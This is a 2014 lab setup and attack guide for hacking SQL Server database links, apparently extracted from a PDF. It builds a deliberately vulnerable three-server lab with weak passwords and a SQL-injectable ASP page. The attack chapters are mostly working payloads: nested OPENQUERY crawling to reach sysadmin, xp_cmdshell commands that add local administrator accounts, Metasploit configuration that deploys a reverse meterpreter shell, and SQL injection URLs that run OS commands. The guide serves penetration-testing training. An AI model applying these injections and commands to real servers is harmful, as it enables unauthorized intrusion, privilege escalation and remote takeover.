Hacking SQL Server Database Links:
Lab Setup And Attack Guide Links
User Manual:
Open the PDF directly: View PDF .
Page Count: 49
Hacking SQL Server Database Links:
Lab Setup and Attack Guide
Version 1.0
Author: Scott Sutherland
05/28/2014
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Contents
Chapter 1
Introduction to Linked Servers .......................................................................................................... 3
1.1 Introduction .......................................................................................................................................3
1.2 What are Database Server Links? .......................................................................................................3
1.3 How can Database Server Links be a Threat? ....................................................................................4
Chapter 2
Setting Up the Lab ............................................................................................................................. 6
2.1 Setup Three SQL Server Databases Instances ....................................................................................7
2.2 Setup SQL Server Logins .....................................................................................................................7
2.3 Setup XP_CMDSHELL ..........................................................................................................................8
2.4 Setup SQL Server Database Links .......................................................................................................9
2.5 Setup the Vulnerable Web Application ............................................................................................11
Chapter 3
Manual Attacks via Direct Database Connections............................................................................ 13
3.1 Login into Server1 as User ................................................................................................................13
3.2 Crawl from Server 1 to Server 2 as User ..........................................................................................15
3.3 Crawl from Server 2 to Server 3 as User ..........................................................................................17
3.4 Crawl from Server 3 to Server1 as Sysadmin ...................................................................................19
3.5 Add an OS Admin to Server 1 via Server 3 Links ..............................................................................20
Chapter 4
Automated Attacks via Direct Database Connections ...................................................................... 23
4.1 Get the TCP Port for the SQL Server Instance ..................................................................................23
4.2 Configure the mssql_linkcrawler Module in Metasploit ..................................................................24
4.3 Run the mssql_linkedcrawler Module in Audit Mode ......................................................................25
4.4 Setup a Payload Handler in Metasploit ............................................................................................27
4.5 Run the mssql_linkedcrawler Module in Exploit Mode ...................................................................28
Chapter 5
Manual Attacks via SQL Injection .................................................................................................... 31
5.1 Basic SQL Injections Tests.................................................................................................................31
5.2 Basic Database Link Crawling Tests ..................................................................................................36
Chapter 6
Wrap Up .......................................................................................................................................... 46
Appendix A Employee.asp Source Code ............................................................................................................. 46
Appendix B Search.asp Source Code .................................................................................................................. 48
2
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Chapter 1 Introduction to Linked Servers
1.1 Introduction
Modern applications run our world. Every day they are used for things like accessing bank accounts,
manage healthcare plans, and start cars remotely from the internet. Behind each of those applications is a
database. Most people know that those databases store sensitive data like social security numbers, credit
card numbers, and healthcare information. However, what most people don’t realize is that by
compromising one database it’s often possible to take over multiple corporate environments with minimal
effort. One way to do that is through “Database Links”.
A database link is essentially a trusted connection from one database server to another. The database links
can be “crawled” similar to crawling the hyperlinks of a website. By crawling links from database server
to database server it is possible to access data and systems that normally wouldn’t be accessible to a user.
In modern corporate environments it is not uncommon to obtain unauthorized access to hundreds of
database servers using database link crawling techniques. Such access usually results a complete
compromise of sensitive data and network. Database link crawling can be initiated through direct database
connections and SQL injection attacks. This makes it even more important to have a good understanding
of the risks associated with such database configurations.
In this Article I’ve provided instructions for creating a lab environment that can be used to practice attacks
against SQL Server database links through direct connections and various types of SQL injection. I’ve also
provided a general introduction to database links and examples of how to exploit them. The content should
be helpful to penetration testers, web developers, and database administrators trying to gain a better
understanding of the risks associated with misconfigured, or excessive use of, database server links.
Although this article focuses on SQL Server, many of the concepts that will be covered can be applied to
other database platforms.
1.2 What are Database Server Links?
Before we get dirty let’s take a brief moment to talk about what a database link is. Microsoft states that
database links can be used to “enable the SQL Server Database Engine to execute commands against OLE DB
data sources outside of the instance of SQL Server”. Basically that means we can create preconfigured “links”
at the database level to connect to and query a variety of data stores including, but not limited to:
SQL Servers
Oracle Servers
Access files
Excel Files
Text Files
If you’re not a database administrator it may not be obvious why someone would want to configure a
database link. So below I’ve provided some of the common use cases that we’ve run into.
Querying multiple application databases to gain insight into data trends
Combining information from two data sources to avoid database platform migration
3
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Replicating subsets of data between SQL Server instances
Centrally managing database server configurations
In general, database administrators use them to query, and update remote heterogeneous data
sources
For those who are interested, I’ve listed two ways to list database links on a SQL Server. By default you
should see your own server. However, data access will be disabled so I don’t believe you can query it.
sp_linkeservers
SELECT srvname FROM master..sysservers
For more information you can visit Microsoft’s Linked Server page at http://msdn.microsoft.com/enus/library/ms188279.aspx.
1.3 How can Database Server Links be a Threat?
Despite the fact that database links can be very useful, they are often configured with excessive privileges
that can lead to the compromise of multiple databases and systems. Below is a short list of reasons
database links can be a risk.
Excessive privileges are very common. Instead of configuring database links to inherit the
privileges of the database user executing the query, most DBAs configure database links with a
static username and password. That means when a database user queries a link, the query runs
with the preconfigured link privileges and not the database user’s.
Openquery() is available by default. Openquery() is a native SQL Server function that can be
used to query linked servers. By default, any SQL login that belongs to the PUBLIC fixed server
role can query a database link with it. So unlike the similar openrowset() function, it usually
allows all database users to query all preconfigured database links by default. Below is a basic
Openquery example:
SELECT * FROM
openquery(Server1, 'select SYSTEM_USER')
Database link queries can be nested. All database link queries can be nested through the
openquery() function. As a result, database links can be followed from database server to
database server similar to webpage crawling. During our testing we have found that database
link crawling can lead to unauthorized access to hundreds of database servers in what we refer to
as a “database link network”. The only constraint that we have run across when crawling
database link networks is the maximum number of characters allowed by the openquery()
function. Based on Microsoft’s documentation the openquery() function has an 8000 character
limit. Below is a basic example of a query executed through nested database links:
4
Hacking SQL Server Database Links: Lab Setup and Attack Guide
SELECT srvname FROM
openquery(Server1,'SELECT srvname FROM
openquery(Server2,''SELECT srvname FROM
master..sysservers'')')
Stored procedures can be executed over database links. Despite what the Microsoft
documentation states it is possible to execute stored procedures via the openquery function
blindly. What that means is that dangerous procedures like xp_cmdshell can be used to execute
arbitrary commands on the operating systems level through multiple nested database links. This
has been socialized in the database community for a while, but hasn’t been discussed much in
information security circles.
5
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Chapter 2
Setting Up the Lab
This chapter will cover how to build a lab environment that can be used to test out common database link
attacks. In summary, you will setup three SQL Server instances, create database links between them, and
install a web application that connects to one of the instances. Below is an overview of the attack we should
be able to execute when the lab is complete.
6
Hacking SQL Server Database Links: Lab Setup and Attack Guide
2.1 Setup Three SQL Server Databases Instances
Install three SQL Server named instances called “server1”, “server2”, and “server3”. The instances can be
installed on a single or multiple servers. Make sure to remember the sa account password for each of the
SQL Server instances. You’ll need them to setup up the database accounts and links later on.
When installing the SQL instances make sure the following configurations are set:
1.
Configure “mixed-mode” authentication.
2.
Configure all services to run as LocalSystem.
3.
Enable TCP/IP and named pipes for each instance.
Note: This may not be required if all instances are configured on the same server. Additional
information can be found at the link below:
http://msdn.microsoft.com/en-us/library/bb909712%28v=vs.90%29.aspx
SQL Server 2008 Download
http://www.microsoft.com/en-us/download/details.aspx?id=1695
SQL Server 2008 Installation
http://blog.sqlauthority.com/2008/06/12/sql-server-2008-step-by-step-installation-guide-with-images/
2.2 Setup SQL Server Logins
I’ve provided instructions for setting up the required SQL Server logins below. However, if you need
additional help below are a few links to help guide you through creating database logins.
More information can be found at http://msdn.microsoft.com/en-us/library/ms189751.aspx
Setting up SQL Server Logins
1.
Open SQL Server Management Studio and log into all SQL Server instances with the sa account. All
three instances can be opened at the same time by opening three separate “Object Explorers”. Use
query windows from the three Object Explorers to execute the query in the remaining steps.
2.
Create a database login named “s1admin” on server1 with the sysadmin role, and the password
“s1password”. Note: You may have to disable the password policy.
CREATE LOGIN s1admin WITH PASSWORD = 's1password';
GO
EXEC master..sp_addsrvrolemember @loginame = N's1admin', @rolename = N'sysadmin'
GO
3.
Create a database login named “s1user” on server1 with default privileges, and the password
“s1password”.
7
Hacking SQL Server Database Links: Lab Setup and Attack Guide
CREATE LOGIN s1user WITH PASSWORD = 's1password';
GO
4.
Create a database login named “s2user” on server2 with default privileges, and the password
“s2password”.
CREATE LOGIN s2user WITH PASSWORD = 's2password';
GO
5.
Create a database login named “s3user” on server3 with default privileges, and the password
“s3password”.
CREATE LOGIN s3user WITH PASSWORD = 's3password';
GO
6.
Validate the instances and logins are setup properly using OSQL.
Check if the instances respond to broadcast requests:
sqlcmd -L
Check if you can login with the database login for each instance using Object Explorer or sqlcmd in a
Windows cmd.exe console:
sqlcmd
sqlcmd
sqlcmd
sqlcmd
-U
-U
-U
-U
s1admin -P s1password -S .\server1 -Q "select @@version"
s1user -P s1password -S .\server1 -Q "select @@version"
s2user -P s2password -S .\server2 -Q "select @@version"
s3user -P s3password -S .\server3 -Q "select @@version"
2.3 Setup XP_CMDSHELL
Below are instructions for enabling the xp_cmdshell stored procedure which can be used to execute local
operating system commands through the database. Only enable it on server1.
EXEC sp_configure 'show advanced options',1
RECONFIGURE
go
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
go
8
Hacking SQL Server Database Links: Lab Setup and Attack Guide
2.4 Setup SQL Server Database Links
Below are instructions for creating the database. For more information the official Microsoft page can be
found at http://msdn.microsoft.com/en-us/library/ms190479.aspx. I also recommend using Microsoft SQL
Server Management Studio. It just makes life easier.
1.
Create a database link from server1 to server2 with the s2user database login.
Add the database link:
USE [master]
GO
EXEC master.dbo.sp_addlinkedserver
@server = N'RELATIVESERVERNAMEHERE\SERVER2',
@srvproduct=N'SQL Server' ;
GO
Add the database user that will be applied to the database link:
EXEC sp_addlinkedsrvlogin 'RELATIVESERVERNAMEHERE\server2', 'false', NULL,
's2user', 's2password';
Validate the database link was added with the following query:
select srvname from master..sysservers;
Validate the database link works by issuing a query to it:
select * from openquery("RELATIVESERVERNAMEHERE\server2",'select @@servername')
2.
Create a database link from server2 to server3 with the s3user database login.
Add the database link:
USE [master]
GO
EXEC master.dbo.sp_addlinkedserver
@server = N'RELATIVESERVERNAMEHERE\SERVER3',
@srvproduct=N'SQL Server' ;
GO
9
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Add the database user for the database link:
EXEC sp_addlinkedsrvlogin 'RELATIVESERVERNAMEHERE\server3', 'false', NULL,
's3user', 's3password';
Validate the database link was added with the following query:
select srvname from master..sysservers;
Validate the database link works by issuing a query to it:
select * from openquery("RELATIVESERVERNAMEHERE\server3",'select @@servername')
3.
Create a database link from server3 to server1with the s1admin database login.
Add the database link:
USE [master]
GO
EXEC master.dbo.sp_addlinkedserver
@server = N'RELATIVESERVERNAMEHERE\SERVER1',
@srvproduct=N'SQL Server' ;
GO
Add the database user for the database link:
EXEC sp_addlinkedsrvlogin 'RELATIVESERVERNAMEHERE\server1', 'false', NULL,
's1admin', 's1password';
Validate the database link was added with the following query:
select srvname from master..sysservers;
Validate the database link works by issue a query to it:
select * from openquery("RELATIVESERVERNAMEHERE\server1",'select
@@servername')
Verify the user has sysadmin privileges. The query below should return a 1:
select * from openquery("RELATIVESERVERNAMEHERE\server1",'select
is_srvrolemember(''sysadmin'')')
10
Hacking SQL Server Database Links: Lab Setup and Attack Guide
4.
Create a bad link on server1, server2, and server3 to “BADSERVER” with any credentials. This
link is intended to emulate a link to a server that no longer exists.
Add the database link:
USE [master]
GO
EXEC master.dbo.sp_addlinkedserver
@server = N'BADSERVER',
@srvproduct=N'SQL Server' ;
GO
Add the database user for the database link. The credentials don’t matter here, because this is
intended to emulate a link to a server that no longer exists. So ‘baduser’ and ‘badpassword’
could be any value.
EXEC sp_addlinkedsrvlogin 'badserver', 'false', NULL, 'baduser', 'badpassword';
Validate the database link was added with the following query:
select srvname from master..sysservers;
Validate the attempts to access the bad link times out as expected.
select * from openquery("BADSERVER",'select @@version')
2.5 Setup the Vulnerable Web Application
1.
On Server1 download and install the AdventureWorks2008_Database.zip database from Microsoft.
It can be downloaded from http://msftdbprodsamples.codeplex.com/releases/view/93587.
Below is an overview of the installation steps.
a.
Unzip AdventureWorks2008_Database.zip to a folder off of the c: drive
b.
Open Microsoft SQL Server Management Studio and connect to the server1 instance
c.
Right-click the database node
d. Choose attach…
e.
Choose the AdventureWorks2008 database file from the path it was unzipped to
f.
Make the database login s1user the database owner for AdventureWorks.
USE AdventureWorks2008;
11
Hacking SQL Server Database Links: Lab Setup and Attack Guide
EXEC sp_changedbowner 's1user';
Additional information can be found at http://msdn.microsoft.com/enus/library/ms178630(v=sql.90).aspx.
2.
Setup IIS server and enable support for asp pages.
a.
Install IIS on Windows:
a.
b.
Enabled the use of ASP pages:
a.
3.
http://www.howtogeek.com/howto/windows-vista/how-to-install-iis-on-windows-vista/
http://www.iis.net/learn/application-frameworks/running-classic-asp-applications-on-iis7-and-iis-8/classic-asp-not-installed-by-default-on-iis
Download and install the vulnerable asp pages from GitHub to C:\Inetpub\wwwroot. Links to the
vulnerable page downloads are listed below.
employee.asp
https://raw2.github.com/nullbind/Metasploit-Modules/master/employee.asp
search.asp
https://raw2.github.com/nullbind/Metasploit-Modules/master/search.asp
4.
Edit the empolyee.asp and search.asp pages. Change the db_server variable to the server name and
instance you installed you setup for server1. It should look something like the example below.
db_server = "mytestserver\server1”
5.
Enable verbose error messages. Depending on your version of IIS verbose error may be enable, but in
case they aren’t the links below should be able to give you some guidance.
http://www.iis.net/learn/application-frameworks/running-classic-asp-applications-on-iis-7-andiis-8/classic-asp-script-error-messages-no-longer-shown-in-web-browser-by-default
http://blogs.msdn.com/b/rakkimk/archive/2007/05/25/iis7-how-to-enable-the-detailed-errormessages-for-the-website-while-browsed-from-for-the-client-browsers.aspx
12
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Chapter 3
Manual Attacks via Direct Database Connections
In this chapter you’ll use SQL Server Management Studio to connect to SERVER1, escalate privileges to
sysadmin via link crawling, and take over the server at the OS level via the xp_cmdshell stored procedure.
In the examples below all SQL Server instances have been installed on 10.2.9.183.
This a good example of what you might find during an internal penetration test after finding a login that
doesn’t have sysadmin access.
3.1 Login into Server1 as User
SQL Server Management Studio Express can be installed as part of an SQL Server installation or separately.
Once installed, use it to connect to the SERVER1 instance as shown below. However, keep in mind that
your IP address may be different.
13
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Click the “New Query” button, and type the following query in to determine if the s1user is a sysadmin.
SELECT is_srvrolemember('sysadmin')
The results should look similar to the screenshot below.
The “0” tells us that the s1user does not have sysadmin privileges so let’s find some links to crawl using
the query below.
SELECT srvname from master..sysservers
The results should look similar to the screen shot below.
14
Hacking SQL Server Database Links: Lab Setup and Attack Guide
It should show three linked servers. The “BADSERVER” is a dead link and “WIN-ODG2LLLUIPN” has
no data access. So let’s focus on the link to “.\SERVER2”.
3.2 Crawl from Server 1 to Server 2 as User
Using the query below check what privileges the link to “.\SERVER2” is configured with.
-- Checking privileges on first link
SELECT * FROM OPENQUERY(".\SERVER2",
'SELECT is_srvrolemember(''sysadmin'')’)
The results should look like the screen shot below.
15
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Once again, we do not have sysadmin privileges so let’s take a look at the database links on SERVER2 next.
Use the query below to list linked servers on SERVER2.
-- Get list of linked servers on SERVER2
SELECT * FROM OPENQUERY(".\SERVER2",
'SELECT srvname FROM master..sysservers')
It should return results similar to the screenshot below.
16
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Similar to SERVER1 you should see three links. Let’s focus on the link to “.\SERVER3”
3.3 Crawl from Server 2 to Server 3 as User
Using the query below check what privileges the link to “.\SERVER3” is configured with.
-- Check privileges on link to SERVER3
SELECT * FROM OPENQUERY(".\SERVER2",
'SELECT * FROM OPENQUERY(".\SERVER3",
''SELECT is_srvrolemember(''''sysadmin'''')'')')
The results should look like the screen shot below.
17
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Once again, we do not have sysadmin privileges so let’s take a look at the database links on SERVER3 next
using the query below.
-- Verify access to SERVER1 from SERVER3
SELECT * FROM OPENQUERY(".\SERVER2",
'SELECT * FROM OPENQUERY(".\SERVER3",
''SELECT * FROM OPENQUERY(".\SERVER1",
''''SELECT @@Servername'''')'')')
18
Hacking SQL Server Database Links: Lab Setup and Attack Guide
It looks like we have a link back to SERVER1. Let’s see what we can get from that.
3.4 Crawl from Server 3 to Server1 as Sysadmin
Let’s check the privileges of the link to SERVER1 using the query below.
-- Get privileges on link to SERVER1 from SERVER3
SELECT * FROM OPENQUERY(".\SERVER2",
'SELECT * FROM OPENQUERY(".\SERVER3",
''SELECT * FROM OPENQUERY(".\SERVER1",
''''SELECT is_srvrolemember(''''''''sysadmin'''''''')'''')'')')
The results should look like the screen shots below.
19
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Finally, it returned a “1”! You now have sysadmin access to SERVER1.
3.5 Add an OS Admin to Server 1 via Server 3 Links
Now that we have sysadmin access to SERVER1 we can add a local administrator to the operating
system. Let’s start by adding a user using the query below.
Note: It’s possible to execute any store procedure via linked OPENQUERY as long a value is returned.
That’s why “SELECT 1;” is used before xp_cmdshell is called.
-- Get privileges on link to SERVER1 from SERVER3
SELECT * FROM OPENQUERY(".\SERVER2",
'SELECT * FROM OPENQUERY(".\SERVER3",
''SELECT * FROM OPENQUERY(".\SERVER1",
''''SELECT 1;EXEC master..xp_cmdshell ''''''''net user netspi $TestPass12!
/add'''''''''''')'')')
The results should look like the screen shot below.
20
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Unfortunately, the xp_cmdshell stored procedure won’t show output when used through OPENQUERY,
because of the “SELECT 1” work around we need to use. So a “1” will be returned if the query fails or not.
Either way, the new operating system user can be added to the “administrators” group using the query
below.
-- Get privileges on link to SERVER1 from SERVER3
SELECT * FROM OPENQUERY(".\SERVER2",
'SELECT * FROM OPENQUERY(".\SERVER3",
''SELECT * FROM OPENQUERY(".\SERVER1",
''''SELECT 1;EXEC master..xp_cmdshell ''''''''net localgroup administrators /add
netspi'''''''''''')'')')
Once again, a 1 should be returned as shown in the screenshot below.
21
Hacking SQL Server Database Links: Lab Setup and Attack Guide
If everything worked you should now be able to log into the server with the new account via remote
desktop.
22
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Chapter 4
Automated Attacks via Direct Database Connections
For those who don’t enjoy manually crawling SQL Server links, this chapter will provide an overview of
how to automate attacks against SQL Server database links via a direct database connection using the
mssql_linkcrawler Metasploit module. For this lab you’ll need SQLPing v3 which can be found at
http://www.sqlsecurity.com/,
and
the
Metasploit
Framework
which
can
found
at
http://www.metasploit.com/.
4.1 Get the TCP Port for the SQL Server Instance
In order to connect to a specific SQL Server instance with the mssql_linkcrawler Metasploit module you’ll
need to identify the listening TCP port of the instance. Make sure to target the “SERVER1” instance and
be aware that the listening port will be different for each installation. In the example below SQLPing is
used to scan the lab system configured on 10.2.9.199.
23
Hacking SQL Server Database Links: Lab Setup and Attack Guide
4.2 Configure the mssql_linkcrawler Module in Metasploit
Metasploit is a set of tools that can be used to develop exploits and attack systems. In this case, you’ll be
using the mssql_linkcralwer module to attack database links on remote SQL Servers. To get started, open
the Metasploit console and select the module as shown below.
use exploit/windows/mssql/mssql_linkcrawler
Next, configure the module’s settings with the information needed to connect to the remote SQL Server in
your lab as shown below. Once again, make sure to target the “SERVER1” instance.
set
set
set
set
set
set
rhost 10.2.9.199
rport 49160
username s1user
password s1password
disablepayloadhandler true
verbose true
Now that you have the module configured, “show options” to display your settings and make sure
everything was entered correctly.
24
Hacking SQL Server Database Links: Lab Setup and Attack Guide
4.3 Run the mssql_linkedcrawler Module in Audit Mode
If everything looked good when you typed “show options” then go ahead and type “exploit” to run the
module. By default, it will run in “read-only” mode and simply list the available links and privileges.
The image below shows the module successfully connecting to SERVER1 and displaying basic
configuration information. Based on the output there are 2 links on SERVER1. At this point we do not
have sysadmin privileges.
25
Hacking SQL Server Database Links: Lab Setup and Attack Guide
The module then attempts to connect to each of the database links on SERVER1. In the example below, the
link to SERVER2 appears to be working, and the link to BADSERVER is dead. At this point, we still do not
have sysadmin privileges. However, the output also shows there are two links on SERVER2.
Skipping ahead in the output you should see that the crawler escalated to sysadmin by following a link
from SERVER3 back to SERVER1.
26
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Finally, a summary of the crawl results will be displayed and all of the information displayed will be
recorded to CSV file. Below is an example of the output.
4.4 Setup a Payload Handler in Metasploit
If the database links are configured with sysadmin privileges they can also be used to execute arbitrary
commands on the SQL Server at the OS level. The module can be configured to use that functionality to
provide an attacker with a remote command console.
27
Hacking SQL Server Database Links: Lab Setup and Attack Guide
In order to obtain a reverse console using Metasploit start by setting up the “multi/handler” module as
shown below. This will listen for incoming connections from the database servers being crawled. Set the
“ExistOnSession” to false so that it can handle more than one connection at a time.
use multi/handler
set ExitOnSession FALSE
exploit -j -z
4.5 Run the mssql_linkedcrawler Module in Exploit Mode
In the real world you may end up crawling hundreds of SQL Servers. The “DisablePayloadHandler”
can be used to disable the module’s default handler and allow you to manage connections via the handler
you setup in the previous step. You can set the payload to any Windows payload in Metasploit, but in
this example the default is used (reverse meterpreter). Finally, set “DEPLOY” to true so payloads will be
deployed to servers that you have sysadmin privileges on.
use exploit/windows/mssql/mssql_linkcrawler
set DisablePayloadHandler TRUE
set DEPLOY true
If you type “show options” your configuration show look something like the screenshot below.
28
Hacking SQL Server Database Links: Lab Setup and Attack Guide
If all is well, go ahead and type “exploit” to run the module. Initially it will run just like the read only scan,
but when it crawls the database link configured with sysadmin privileges it should automatically deploy
the payload. The payload should execute and start a meterpreter shell that is immediately send to the
background. It should look similar to the screenshot below.
29
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Once the link crawler complete type “sessions” to view existing sessions. Then type “sessions –i ” as
shown below to interact with each command console.
30
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Chapter 5
Manual Attacks via SQL Injection
This chapter will cover basic SQL injection tests to familiarize you with common techniques. It will also
cover how to perform link crawling through SQL injection. This a good example how a SQL Server
database links can be crawled via SQL injection during an external penetration test.
5.1 Basic SQL Injections Tests
This section provides an overview of how to manually verify that basic SQL injections are possible in the
application.
1.
Validate the application works by accessing web server on the URLs below.
http://127.0.0.1/search.asp
http://127.0.0.1/employee.asp?id=1
6.
Validate that basic SQL Injection works by attempting a math operation on the backend database.
31
Hacking SQL Server Database Links: Lab Setup and Attack Guide
http://127.0.0.1/employee.asp?id=193
http://127.0.0.1/employee.asp?id=192%2b1
7.
Validate that basic SQL Injection works by setting the statement to true to view all records.
http://127.0.0.1/employee.asp?id=193 or 1=1--
32
Hacking SQL Server Database Links: Lab Setup and Attack Guide
8.
Determine number of columns in the query being used by the page (16). This knowledge will be
used later for a union select injection.
http://127.0.0.1/employee.asp?id=193 order by 15-http://127.0.0.1/employee.asp?id=193 order by 16-http://127.0.0.1/employee.asp?id=193 order by 17--
33
Hacking SQL Server Database Links: Lab Setup and Attack Guide
34
Hacking SQL Server Database Links: Lab Setup and Attack Guide
9.
Validate that union based SQL injection works using the URL below to select a list of databases from
the server. Notice that we have to use 16 columns or the injection will error.
http://127.0.0.1/employee.asp?id=193 union select
null,null,'Database:'%2bname,null,null,null,null,null,null,null,null,null,null,n
ull,null,null from master..sysdatabases--
35
Hacking SQL Server Database Links: Lab Setup and Attack Guide
10. Validate that error based SQL injection works using the URL below to show the database version in
the error message.
http://127.0.0.1/employee.asp?id=@@version
11. Validate that time based blind SQL injection works using the URL below to force the server to wait 10
seconds before responding. In the second example, if the server waits 10 seconds to respond you are
a sysadmin. You should not be so the page should return immediately.
http://127.0.0.1/employee.asp?id=193;waitfor delay '00:00:10';-http://127.0.0.1/employee.asp?id=287;IF (select IS_SRVROLEMEMBER('sysadmin')) = 1
waitfor delay '00:00:10';--
5.2 Basic Database Link Crawling Tests
This section provides an overview of how to manually verify that database link crawling is possible in the
lab environment. The instructions below will walk through it one step at a time as an attacker might.
1.
Select the server name and database user from server1.
http://127.0.0.1/employee.asp?id=193 union select null,null,'Server:
'%2b@@servername%2b' DBuser: '%2b
system_user,null,null,null,null,null,null,null,null,null,null,null,null,null from
master..sysservers--
36
Hacking SQL Server Database Links: Lab Setup and Attack Guide
2.
Check for sysadmin privileges on the database entry point, which should be server1. The injection
should return a 0 indicating that the database user used by the web application does not have
sysadmin privileges.
http://127.0.0.1/employee.asp?id=193 union select null,null,'Sysadmin privileges:
'%2bcast((select is_srvrolemember('sysadmin')) as
varchar),null,null,null,null,null,null,null,null,null,null,null,null,null from
master..sysservers—
37
Hacking SQL Server Database Links: Lab Setup and Attack Guide
3.
Select a list of available database links on server1. You should see server2 on the list.
http://127.0.0.1/employee.asp?id=193 union select null,null,'Link:
'%2bsrvname,null,null,null,null,null,null,null,null,null,null,null,null,null from
master..sysservers--
4.
Select the database link server name, user, and privileges on server2. The injection should return a 0
next to “DBLinkPriv” indicating that the account used to setup the database link from server1 to
server2 does not have sysadmin privileges.
38
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Note: Replace “RELATIVESERVERNAMEHERE” with the server you installed the SQL Server
instances on. Also, the “%2b” are URL encoded “+”. This was done so that the strings can be
concatenated with the query output correctly.
http://127.0.0.1/employee.asp?id=193 union select null,null,'
DBLink:
'%2b@@servername%2b'--%3E'%2blinksrv1%2b'
DBLinkUser:
'%2bdblink1user%2b'
DBLinkPriv:
'%2bdblink1priv%2b'
',null,null,null,null,null,null,null,null,null,null,null,nu
ll,null from openquery("RELATIVESERVERNAMEHERE\server2",'select @@servername as
linksrv1, system_user as dblink1user,cast((select is_srvrolemember(''sysadmin''))
as varchar) as dblink1priv')--
5.
Select a list of available database links on server2. You should see server3 on the list.
Note: Replace “RELATIVESERVERNAMEHERE” with the server you installed the SQL Server
instances on.
39
Hacking SQL Server Database Links: Lab Setup and Attack Guide
http://127.0.0.1/employee.asp?id=193 union select null,null,'
DBLink:
'%2b@@servername%2b'-->'%2blink1%2b'->'%2blink2%2b'
',null,null,null,null,null,null,null,null,null,null,null,null,nu
ll from openquery("RELATIVESERVERNAMEHERE\server2",'select @@servername as
link1,srvname as link2 from master..sysservers')--
6.
Select the database link server name, user, and privileges on server3. The injection should return a 0
next to “DBLinkPriv” indicating that the account used to setup the database link from server2 to
server3 does not have sysadmin privileges.
Note: Replace “RELATIVESERVERNAMEHERE” with the server you installed the SQL Server
instances on.
40
Hacking SQL Server Database Links: Lab Setup and Attack Guide
http://127.0.0.1/employee.asp?id=193 union select null,null,'
DBLink:
'%2b@@servername%2b'-->'%2blink1%2b'-->'%2blink2%2b'
'%2b'DbLinkUser:
'%2bdblink2user%2b'
DbLinkPriv:
'%2bdblink2priv%2b'
',null,null,null,null,null,null,null,null,null,null,null,nu
ll,null from openquery("RELATIVESERVERNAMEHERE\server2",'select @@servername as
link1,link2,dblink2user,dblink2priv from
openquery("RELATIVESERVERNAMEHERE\server3",''select @@servername as
link2,system_user as dblink2user,cast((select is_srvrolemember(''''sysadmin''''))
as varchar) as dblink2priv'')')—
7.
Select a list of database links on server3. You should see a link going back to server1.
Note: Replace “RELATIVESERVERNAMEHERE” with the server you installed the SQL Server
instances on.
http://127.0.0.1/employee.asp?id=193 union select null,null,'
DBLink:
'%2b@@servername%2b'-->'%2blink1%2b'-->'%2blink2%2b'
'%2b'DbLink:
'%2bnewlink%2b'
',null,null,null,null,null,null,null,null,null,null,null,null,n
ull from openquery("RELATIVESERVERNAMEHERE\server2",'select @@servername as
link1,link2,newlink from openquery("RELATIVESERVERNAMEHERE\server3",''select
@@servername as link2,srvname as newlink from master..sysservers'')')—
41
Hacking SQL Server Database Links: Lab Setup and Attack Guide
8.
Select the database link server name, user, and privileges on server1 . The injection should return a 1
next to “DBLinkPriv” indicating that the account used to setup the database link from server3 to
server1 does have sysadmin privileges. Finally!!
Note: Replace “RELATIVESERVERNAMEHERE” with the server you installed the SQL Server
instances on.
Note: You may have to disable XSS filtering in newer version of IE for this specific example.
However, all Firefox version seemed to work just fine.
http://127.0.0.1/employee.asp?id=193 union select null,null,'
DBLink:
'%2b@@servername%2b'-->'%2blink1%2b'-->'%2blink2%2b'->'%2blink3%2b'
'%2b'DbLinkUser: '%2bdblink3user%2b'
DbLinkPriv:
42
Hacking SQL Server Database Links: Lab Setup and Attack Guide
'%2bdblink3priv%2b'
',null,null,null,null,null,null,null,null,null,null,null,nu
ll,null from openquery("RELATIVESERVERNAMEHERE\server2",'select @@servername as
link1,link2,link3,dblink3user,dblink3priv from
openquery("RELATIVESERVERNAMEHERE\server3",''select @@servername as
link2,link3,dblink3user,dblink3priv from
openquery("RELATIVESERVERNAMEHERE\server1",''''select @@servername as
link3,system_user as dblink3user,cast((select
is_srvrolemember(''''''''sysadmin'''''''')) as varchar) as dblink3priv'''')'')')--
9.
Use the escalated privileges through the link chain to add a new operating system user to server1.
Note: Replace “RELATIVESERVERNAMEHERE” with the server you installed the SQL Server
instances on.
Request 1: Adds the user “test123”
http://127.0.0.1/employee.asp?id=193 union select null,null,'
Executing
blind command
execution...',null,null,null,null,null,null,null,null,null,null,null,null,null
from openquery("RELATIVESERVERNAMEHERE\server2",'select 1 from
openquery("RELATIVESERVERNAMEHERE\server3",''select 1 from
openquery("RELATIVESERVERNAMEHERE\server1",''''select 1;exec master..xp_cmdshell
''''''''net user test123 Test123Pass! /add'''''''''''')'')')--
43
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Request 2: Adds the user “test123” to the “Administrators” group.
http://127.0.0.1/employee.asp?id=193 union select null,null,'
Executing
blind command
execution...',null,null,null,null,null,null,null,null,null,null,null,null,null
from openquery("RELATIVESERVERNAMEHERE\server2",'select 1 from
openquery("RELATIVESERVERNAMEHERE\server3",''select 1 from
openquery("RELATIVESERVERNAMEHERE\server1",''''select 1;exec master..xp_cmdshell
''''''''net group "adminstrators" /add testing123'''''''''''')'')')--
10. Log into server1 (locally or over RDP) with your new local administrator account.
Antti Rantasaari and I also wrote a Metasploit module to crawl database links via SQL injection, but at
this point it has not been accepted into the framework. However, I have provided a links to the source
code and a video tutorial below for those who are interested.
Module and Video
https://github.com/nullbind/Metasploit-Modules/blob/master/mssql_linkcrawler_sqli.rb
http://www.youtube.com/watch?v=eCSxPC4FenQ
44
Hacking SQL Server Database Links: Lab Setup and Attack Guide
45
Hacking SQL Server Database Links: Lab Setup and Attack Guide
Chapter 6
Wrap Up
Congratulations!
If everything worked you have a fully functioning database link lab that can be used for training,
research, and application testing.
Have fun and Hack Responsibly!
